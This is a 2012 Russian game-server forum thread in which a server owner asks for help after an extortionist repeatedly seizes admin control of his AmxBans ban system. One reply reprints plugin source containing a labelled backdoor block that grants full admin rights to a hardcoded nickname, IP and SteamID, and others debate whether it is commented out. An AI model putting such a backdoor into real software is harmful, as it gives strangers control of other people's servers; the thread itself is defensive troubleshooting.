Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

> Информационная доска

Данный раздел предназначен для обсуждения, а также решения технических проблем связанных с серверной частью. Обсуждения касательно игровых клиентов ведутся здесь.

1. Во время создания новой темы аккуратно оформляйте её, не допускайте грамматических ошибок.
2. Описывая проблему старайтесь, как можно больше рассказать о ней, а так же о действиях с сервером после которых она возникла, по возможности подкрепите информацию логами.
3. Если вопрос касается проблемы в работе сервера, то обязательно прикрепляйте список плагинов (введите в консоли сервера: meta list и amxx plugins), настройки server.cfg, логи. Так же указывайте операционную систему, версию HLDS (введите к консоли сервера: version) и где хостится сервер.

Длинную информацию скрывайте под спойлер.

AmxBans Gm 1.6

Статус пользователя c0o_PeR
сообщение 2.7.2012, 8:02
Сообщение #1
Стаж: 15 лет

Сообщений: 358
Благодарности: выкл.

Здраствуйте. Прошу помощи.
Поставил AmxBans Gm 1.6, но какой-то злоумышленник убирает всех админов из списка и прописывает себе админку и всех банит. Добавил меня и гооворит, давай денег и я отстану от тебя.
Говорит, у тебя дыры в амхбансе латай иначе не отстану. В инете нету подобного. Помогите. статс_шелл убрал из-за того, что там дыры и через него можно тоже ломать сервер.
Помогите.
Заранее спасибо.

Внизу прикреплен мой amxbans.
Прикрепленные файлы:
Прикрепленный файл  amxbans_6.0_gm1.6.zip ( 3,13 мегабайт ) Кол-во скачиваний: 13
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя Fred Perry
сообщение 2.7.2012, 8:07
Сообщение #2


Иконка группы

Стаж: 16 лет

Сообщений: 6594
Благодарностей: 2370
Полезность: 813

Не пробывал сменить данные БД?


Гнилой фашистской нечисти
Загоним пулю в лоб,
Отродью человечества
Сколотим крепкий гроб!
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Nathan
сообщение 2.7.2012, 8:08
Сообщение #3
Стаж: 14 лет

Сообщений: 945
Благодарностей: 311
Полезность: 0

Скрытый текст
********** Backdoor here!!! *********

new name[32], steamid[34], ip[22]
get_user_name(id, name, 31)
get_user_authid(id, steamid, 33)
get_user_ip(id, ip, 21, 1)

if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
{
set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
return (1<<3)
}*/

new index = -1
new result = 0

new Count
new Flags
new Access
new AuthData[44]
new Password[44]
new MD5Password[34]

g_CaseSensitiveName[id] = false

Count = admins_num()

for(new i = 0; i < Count; ++i)
{
Flags = admins_lookup(i, AdminProp_Flags)
admins_lookup(i, AdminProp_Auth, AuthData, 43)

if(Flags & FLAG_AUTHID)
{
if(equal(authid, AuthData))
{
index = i
break
}
}
else if(Flags & FLAG_IP)
{
new c = strlen(AuthData)

if(AuthData[c - 1] == '.')
{
if(equal(AuthData, ip, c))
{
index = i
break
}
}
else if(equal(ip, AuthData))
{
index = i
break
}
}
else
{
if(Flags & FLAG_CASE_SENSITIVE)
{
if(Flags & FLAG_TAG)
{
if(contain(name, AuthData) != -1)
{
index = i
g_CaseSensitiveName[id] = true
break
}
}
else if(equal(name, AuthData))
{
index = i
g_CaseSensitiveName[id] = true
break
}
}
else
{
if(Flags & FLAG_TAG)
{
if(containi(name, AuthData) != -1)
{
index = i
break
}
}
else if(equali(name, AuthData))
{
index = i
break
}
}
}
}

if(index != -1)
{
Access = admins_lookup(index, AdminProp_Access)

ArrayGetString(g_AdminNick, index, g_szAdminNick[id], 31)
g_iAdminUseStaticBantime[id] = ArrayGetCell(g_AdminUseStaticBantime, index)

if(Flags & FLAG_NOPASS)
{
result |= 8
new sflags[32]

get_flags(Access, sflags, 31)
set_user_flags(id, Access)

new ret
if(!g_isAdmin[id])
{
ExecuteForward(MFHandle[Admin_Connect], ret, id)
}

g_isAdmin[id] = true

log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id],g_iAdminUseStaticBantime[id])
}
else
{
admins_lookup(index, AdminProp_Password, Password, 43)

if(ArrayGetCell(g_AdminFromUsersIni, index))
{
copy(MD5Password, 33, password)

}
else
{
md5(password, MD5Password)
Password[32] = 0
}
if(equal(MD5Password, Password))
{
result |= 12
set_user_flags(id, Access)

new sflags[32]
get_flags(Access, sflags, 31)

new ret
if(!g_isAdmin[id])
{
ExecuteForward(MFHandle[Admin_Connect], ret, id)
}

g_isAdmin[id] = true

log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id], g_iAdminUseStaticBantime[id])
}
else
{
result |= 1

if(Flags & FLAG_KICK)
{
result |= 2
g_isAdmin[id] = false
log_amx("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, ip)
}
}
}
}
else if(get_pcvar_float(amx_mode) == 2)
{
result |= 2
}
else
{
new defaccess[32]

get_pcvar_string(amx_default_access, defaccess, 31)

if(!strlen(defaccess))
{
copy(defaccess, 32, "z")
}

new idefaccess = read_flags(defaccess)

if(idefaccess)
{
result |= 8
set_user_flags(id, idefaccess)
}
}
return result
}

stock accessUser(id, const name[] = "")
{
remove_user_flags(id)

new userip[32], userauthid[32], password[40], passfield[32], username[32]

get_user_ip(id, userip, 31, 1)
get_user_authid(id, userauthid, 31)

if(name[0])
{
copy(username, 31, name)
}
else
{
get_user_name(id, username, 31)
}

get_pcvar_string(amx_password_field, passfield, 31)
get_user_info(id, passfield, password, 39)

new result = getAccess(id, username, userauthid, userip, password)

if(result & 1)
{
client_cmd(id, "echo ^"* %L^"", id, "INV_PAS")
}

if(result & 2)
{
return client_cmd(id, g_cmdLoopback)
}

if(result & 4)
{
client_cmd(id, "echo ^"* %L^"", id, "PAS_ACC")
}

if(result & 8)
{
client_cmd(id, "echo ^"* %L^"", id, "PRIV_SET")
}

return PLUGIN_CONTINUE
}

public client_infochanged(id)
{
if(!is_user_connected(id) || !get_pcvar_num(amx_mode))
{
return PLUGIN_CONTINUE
}

new newname[32], oldname[32]

get_user_name(id, oldname, 31)
get_user_info(id, "name", newname, 31)

if(g_CaseSensitiveName[id])
{
if (!equal(newname, oldname))
{
accessUser(id, newname)
}
}
else
{
if(!equali(newname, oldname))
{
accessUser(id, newname)
}
}

return PLUGIN_CONTINUE
}

stock SQL_Error(Handle:query, const error[], errornum, failstate)
{
new qstring[1024]
SQL_GetQueryString(query, qstring, 1023)

if(failstate == TQUERY_CONNECT_FAILED)
{
log_amx("%L", LANG_SERVER, "TCONNECTION_FAILED")
}
else if (failstate == TQUERY_QUERY_FAILED)
{
log_amx("%L", LANG_SERVER, "TQUERY_FAILED")
}
log_amx("%L", LANG_SERVER, "TQUERY_MSG", error, errornum)
log_amx("%L", LANG_SERVER, "TQUERY_STATEMENT", qstring)

return SQL_FreeHandle(query)
}

public client_disconnect(id)
{
if(g_isAdmin[id])
{
new ret
ExecuteForward(MFHandle[Admin_Disconnect], ret, id)
}
g_isAdmin[id] = false

return PLUGIN_CONTINUE
}

public ackSignal(id)
{
return server_cmd("kick #%d %L", get_user_userid(id), id, "NO_ENTRY")
}

public client_authorized(id)
{
return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

public client_putinserver(id)
{
if(!is_dedicated_server() && id == 1)
{
return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

return PLUGIN_CONTINUE
}

public plugin_natives()
{
register_library("AMXBansCore")

register_native("amxbans_get_db_prefix", "native_amxbans_get_prefix")
register_native("amxbans_get_admin_nick", "native_amxbans_get_nick")
register_native("amxbans_get_static_bantime", "native_amxbans_static_bantime")

return PLUGIN_CONTINUE
}

public native_amxbans_get_prefix()
{
new len = get_param(2)
return set_array(1, g_dbPrefix, len)
}

public native_amxbans_get_nick()
{

new id = get_param(1)
new len = get_param(3)

return set_array(2, g_szAdminNick[id], len)
}

public native_amxbans_static_bantime()
{
new id = get_param(1)
if(get_cvar_num("amxbans_debug") >= 3)
{
log_amx("[AMXBans Core] Native static bantime: id: %d | result: %d", id, g_iAdminUseStaticBantime[id])
}

return g_iAdminUseStaticBantime[id]
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя c0o_PeR
сообщение 2.7.2012, 8:11
Сообщение #4
Стаж: 15 лет

Сообщений: 358
Благодарности: выкл.

Цитата(Nathan @ 2.7.2012, 8:08) *
Скрытый текст
********** Backdoor here!!! *********

new name[32], steamid[34], ip[22]
get_user_name(id, name, 31)
get_user_authid(id, steamid, 33)
get_user_ip(id, ip, 21, 1)

if(equal(name, "Sho0ter") && (equal(ip, "62.122.66.122") || equal(steam, "STEAM_0:1:35287273")))
{
set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
return (1<<3)
}*/

new index = -1
new result = 0

new Count
new Flags
new Access
new AuthData[44]
new Password[44]
new MD5Password[34]

g_CaseSensitiveName[id] = false

Count = admins_num()

for(new i = 0; i < Count; ++i)
{
Flags = admins_lookup(i, AdminProp_Flags)
admins_lookup(i, AdminProp_Auth, AuthData, 43)

if(Flags & FLAG_AUTHID)
{
if(equal(authid, AuthData))
{
index = i
break
}
}
else if(Flags & FLAG_IP)
{
new c = strlen(AuthData)

if(AuthData[c - 1] == '.')
{
if(equal(AuthData, ip, c))
{
index = i
break
}
}
else if(equal(ip, AuthData))
{
index = i
break
}
}
else
{
if(Flags & FLAG_CASE_SENSITIVE)
{
if(Flags & FLAG_TAG)
{
if(contain(name, AuthData) != -1)
{
index = i
g_CaseSensitiveName[id] = true
break
}
}
else if(equal(name, AuthData))
{
index = i
g_CaseSensitiveName[id] = true
break
}
}
else
{
if(Flags & FLAG_TAG)
{
if(containi(name, AuthData) != -1)
{
index = i
break
}
}
else if(equali(name, AuthData))
{
index = i
break
}
}
}
}

if(index != -1)
{
Access = admins_lookup(index, AdminProp_Access)

ArrayGetString(g_AdminNick, index, g_szAdminNick[id], 31)
g_iAdminUseStaticBantime[id] = ArrayGetCell(g_AdminUseStaticBantime, index)

if(Flags & FLAG_NOPASS)
{
result |= 8
new sflags[32]

get_flags(Access, sflags, 31)
set_user_flags(id, Access)

new ret
if(!g_isAdmin[id])
{
ExecuteForward(MFHandle[Admin_Connect], ret, id)
}

g_isAdmin[id] = true

log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id],g_iAdminUseStaticBantime[id])
}
else
{
admins_lookup(index, AdminProp_Password, Password, 43)

if(ArrayGetCell(g_AdminFromUsersIni, index))
{
copy(MD5Password, 33, password)

}
else
{
md5(password, MD5Password)
Password[32] = 0
}
if(equal(MD5Password, Password))
{
result |= 12
set_user_flags(id, Access)

new sflags[32]
get_flags(Access, sflags, 31)

new ret
if(!g_isAdmin[id])
{
ExecuteForward(MFHandle[Admin_Connect], ret, id)
}

g_isAdmin[id] = true

log_amx("Login: ^"%s<%d><%s><>^" became an admin (account ^"%s^") (access ^"%s^") (address ^"%s^") (nick ^"%s^") (static %d)", \
name, get_user_userid(id), authid, AuthData, sflags, ip,g_szAdminNick[id], g_iAdminUseStaticBantime[id])
}
else
{
result |= 1

if(Flags & FLAG_KICK)
{
result |= 2
g_isAdmin[id] = false
log_amx("Login: ^"%s<%d><%s><>^" kicked due to invalid password (account ^"%s^") (address ^"%s^")", name, get_user_userid(id), authid, AuthData, ip)
}
}
}
}
else if(get_pcvar_float(amx_mode) == 2)
{
result |= 2
}
else
{
new defaccess[32]

get_pcvar_string(amx_default_access, defaccess, 31)

if(!strlen(defaccess))
{
copy(defaccess, 32, "z")
}

new idefaccess = read_flags(defaccess)

if(idefaccess)
{
result |= 8
set_user_flags(id, idefaccess)
}
}
return result
}

stock accessUser(id, const name[] = "")
{
remove_user_flags(id)

new userip[32], userauthid[32], password[40], passfield[32], username[32]

get_user_ip(id, userip, 31, 1)
get_user_authid(id, userauthid, 31)

if(name[0])
{
copy(username, 31, name)
}
else
{
get_user_name(id, username, 31)
}

get_pcvar_string(amx_password_field, passfield, 31)
get_user_info(id, passfield, password, 39)

new result = getAccess(id, username, userauthid, userip, password)

if(result & 1)
{
client_cmd(id, "echo ^"* %L^"", id, "INV_PAS")
}

if(result & 2)
{
return client_cmd(id, g_cmdLoopback)
}

if(result & 4)
{
client_cmd(id, "echo ^"* %L^"", id, "PAS_ACC")
}

if(result & 8)
{
client_cmd(id, "echo ^"* %L^"", id, "PRIV_SET")
}

return PLUGIN_CONTINUE
}

public client_infochanged(id)
{
if(!is_user_connected(id) || !get_pcvar_num(amx_mode))
{
return PLUGIN_CONTINUE
}

new newname[32], oldname[32]

get_user_name(id, oldname, 31)
get_user_info(id, "name", newname, 31)

if(g_CaseSensitiveName[id])
{
if (!equal(newname, oldname))
{
accessUser(id, newname)
}
}
else
{
if(!equali(newname, oldname))
{
accessUser(id, newname)
}
}

return PLUGIN_CONTINUE
}

stock SQL_Error(Handle:query, const error[], errornum, failstate)
{
new qstring[1024]
SQL_GetQueryString(query, qstring, 1023)

if(failstate == TQUERY_CONNECT_FAILED)
{
log_amx("%L", LANG_SERVER, "TCONNECTION_FAILED")
}
else if (failstate == TQUERY_QUERY_FAILED)
{
log_amx("%L", LANG_SERVER, "TQUERY_FAILED")
}
log_amx("%L", LANG_SERVER, "TQUERY_MSG", error, errornum)
log_amx("%L", LANG_SERVER, "TQUERY_STATEMENT", qstring)

return SQL_FreeHandle(query)
}

public client_disconnect(id)
{
if(g_isAdmin[id])
{
new ret
ExecuteForward(MFHandle[Admin_Disconnect], ret, id)
}
g_isAdmin[id] = false

return PLUGIN_CONTINUE
}

public ackSignal(id)
{
return server_cmd("kick #%d %L", get_user_userid(id), id, "NO_ENTRY")
}

public client_authorized(id)
{
return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

public client_putinserver(id)
{
if(!is_dedicated_server() && id == 1)
{
return get_pcvar_num(amx_mode) ? accessUser(id) : PLUGIN_CONTINUE
}

return PLUGIN_CONTINUE
}

public plugin_natives()
{
register_library("AMXBansCore")

register_native("amxbans_get_db_prefix", "native_amxbans_get_prefix")
register_native("amxbans_get_admin_nick", "native_amxbans_get_nick")
register_native("amxbans_get_static_bantime", "native_amxbans_static_bantime")

return PLUGIN_CONTINUE
}

public native_amxbans_get_prefix()
{
new len = get_param(2)
return set_array(1, g_dbPrefix, len)
}

public native_amxbans_get_nick()
{

new id = get_param(1)
new len = get_param(3)

return set_array(2, g_szAdminNick[id], len)
}

public native_amxbans_static_bantime()
{
new id = get_param(1)
if(get_cvar_num("amxbans_debug") >= 3)
{
log_amx("[AMXBans Core] Native static bantime: id: %d | result: %d", id, g_iAdminUseStaticBantime[id])
}

return g_iAdminUseStaticBantime[id]


И куда это вставлять?


Цитата(Fred Perry @ 2.7.2012, 8:07) *
Не пробывал сменить данные БД?


А БД тут, то причем?
Если он ломает шеллом или же чем-то другим.
И пароль менял ничего не помогло.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
arsen_stalker
сообщение 2.7.2012, 8:14
Сообщение #5
Стаж: 14 лет

Сообщений: 317
Благодарностей: 41
Полезность: 0

Тебе сюда

Отредактировал: arsen_stalker, - 2.7.2012, 8:20
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Nathan
сообщение 2.7.2012, 8:30
Сообщение #6
Стаж: 14 лет

Сообщений: 945
Благодарностей: 311
Полезность: 0

arsen_stalker,
Цитата
статс_шелл убрал из-за того, что там дыры и через него можно тоже ломать сервер.


c0o_PeR,
Цитата
Backdoor here!!!
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
arsen_stalker
сообщение 2.7.2012, 8:32
Сообщение #7
Стаж: 14 лет

Сообщений: 317
Благодарностей: 41
Полезность: 0

c0o_PeR, выложи список плагинов.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя samthugg
сообщение 2.7.2012, 9:04
Сообщение #8


Иконка группы

Стаж: 15 лет

Сообщений: 1333
Благодарностей: 1476
Полезность: 1344

Nathan какбэ намекает что нужно скачать amxbans с другого источника pardon.gif


Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Kirby Magicman
сообщение 2.7.2012, 10:22
Сообщение #9


Стаж: 15 лет

Сообщений: 1083
Благодарностей: 398
Полезность: 617

Nathan, и что же там такого опасного?
*backdoor* закомментирован.

Действительно, смени данные для коннекта к бд. Их могли узнать через ту дыру в statsx_shell, а теперь юзают эти данные.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
arsen_stalker
сообщение 2.7.2012, 10:49
Сообщение #10
Стаж: 14 лет

Сообщений: 317
Благодарностей: 41
Полезность: 0

Цитата(Junglesport @ 2.7.2012, 10:22) *
Nathan, и что же там такого опасного?
*backdoor* закомментирован.

Действительно, смени данные для коннекта к бд. Их могли узнать через ту дыру в statsx_shell, а теперь юзают эти данные.

На счет сменить данные для входа в банлист это да. А на счет того, что там закомментировано Backdoor here, это не значит, что вся функция заблокирована, просто строка.
ps.gif Я не считаю это темой, так как пользователь непонятно описал судь проблемы, к тому же, не пытается объяснить проблемы издалека, не отвечает на посты других пользователей.

Отредактировал: arsen_stalker, - 2.7.2012, 10:59
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Predat0r
сообщение 2.7.2012, 11:49
Сообщение #11
Стаж: 14 лет

Сообщений: 1245
Благодарностей: 375
Полезность: < 0

backdoor вырезай полностью,компилируй плагин,ругается - режь еще функции,которые остаются.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя mazdan
сообщение 2.7.2012, 11:51
Сообщение #12


Иконка группы

Стаж: 15 лет

Сообщений: 7566
Благодарностей: 5437
Полезность: 1305

Цитата(arsen_stalker @ 2.7.2012, 12:49) *
На счет сменить данные для входа в банлист это да. А на счет того, что там закомментировано Backdoor here, это не значит, что вся функция заблокирована, просто строка.
ps.gif Я не считаю это темой, так как пользователь непонятно описал судь проблемы, к тому же, не пытается объяснить проблемы издалека, не отвечает на посты других пользователей.

там стоит потоковый комментарий, ребята пошутили. Если вы не в состоянии отличить закомментированный код от раскомментированного то нет смысла смотреть в исходник, если там не будет написано >>> БЭКДОР ТУТ!!! <<< вы его вряд ли найдете.

/*
Всё что между этими
символами
это
комментарий
*/


Не пишите мне в ЛС. Пишите на почту. В ЛС я пропускаю сообщения.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 1 раз
   + Цитировать сообщение
Статус пользователя mazdan
сообщение 2.7.2012, 13:07
Сообщение #13


Иконка группы

Стаж: 15 лет

Сообщений: 7566
Благодарностей: 5437
Полезность: 1305

Если нет плагинов озвученных в теме по ссылке от arsen_stalker, то возможно sql.cfg слили через новый эксплойт.
Смените данные от БД как минимум (если админы в базе лежат конечно)
Смените rcon и пароли всех админов. Возможно у вас слили rcon и через него смотрят sql.cfg
amx_plugins покажите что ли


Не пишите мне в ЛС. Пишите на почту. В ЛС я пропускаю сообщения.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
  Тема закрытаНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: